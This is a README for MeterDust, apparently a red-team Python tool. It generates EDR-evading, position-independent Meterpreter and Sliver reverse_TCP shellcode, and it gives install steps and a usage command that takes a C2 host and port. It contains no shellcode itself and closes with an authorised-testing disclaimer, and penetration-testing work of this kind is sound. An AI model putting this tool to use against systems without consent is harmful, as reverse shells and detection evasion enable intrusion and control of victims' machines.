A Python wrapper for modern position-independent Meterpreter and Sliver compatible reverse_TCP shellcode, inspired by CelestialSpark and Stardust.
MeterDust is a Python utility that simplifies the generation and deployment of position-independent shellcode for Meterpreter and Sliver C2 frameworks. It builds upon the foundation laid by CelestialSpark and Stardust to provide a more user-friendly interface.
- Generate position-independent Meterpreter and Sliver compatible reverse_TCP shellcode
- Customize IP and port for the C2 server
- Support for x86 and x64 architectures
- Output shellcode to file for easy use in various C2 frameworks
- Evade common detection mechanisms used by EDR/AV solutions
- Compile-time hashing with FNV1A for function and module resolving
# Install dependencies
apt install mingw-w64, gcc, make
# Clone the repository
git clone https://github.com/v4resk/MeterDust.git
cd MeterDust
# Generate shellcode for x64 architecture
python meterdust.py -l <C2_IP> -p <C2_PORT> -a <ARCH> -o <OUTPUT_FILE>
-l, --lhost
: IP address of your C2 server-p, --port
: Port of your C2 server-a, --arch
: Target architecture (x86 or x64)-o, --output
: Output file name for generated shellcode-h, --help
: Show help message and exit
- not existing HTONS and HTONL functions have been hardcoded
- custom inet_addr function was rewritten and implemented in main.cc
- Socket creation and interaction functions have been imported from ws2_32.dll
- Meterpreter Staging Logic hase been copied from the original project and TinyMet
This project stands on the shoulders of giants:
- CelestialSpark by Karkas66 - A modern 64-bit position independent meterpreter and Sliver compatible reverse_TCP Staging Shellcode
- Stardust by Cracked5pider - A modern 32/64-bit position independent implant template
This tool is intended for legal security testing, educational purposes, and authorized penetration testing only. Usage of MeterDust for attacking targets without prior mutual consent is illegal and not recommended. The developers assume no liability and are not responsible for any misuse or damage caused by this program.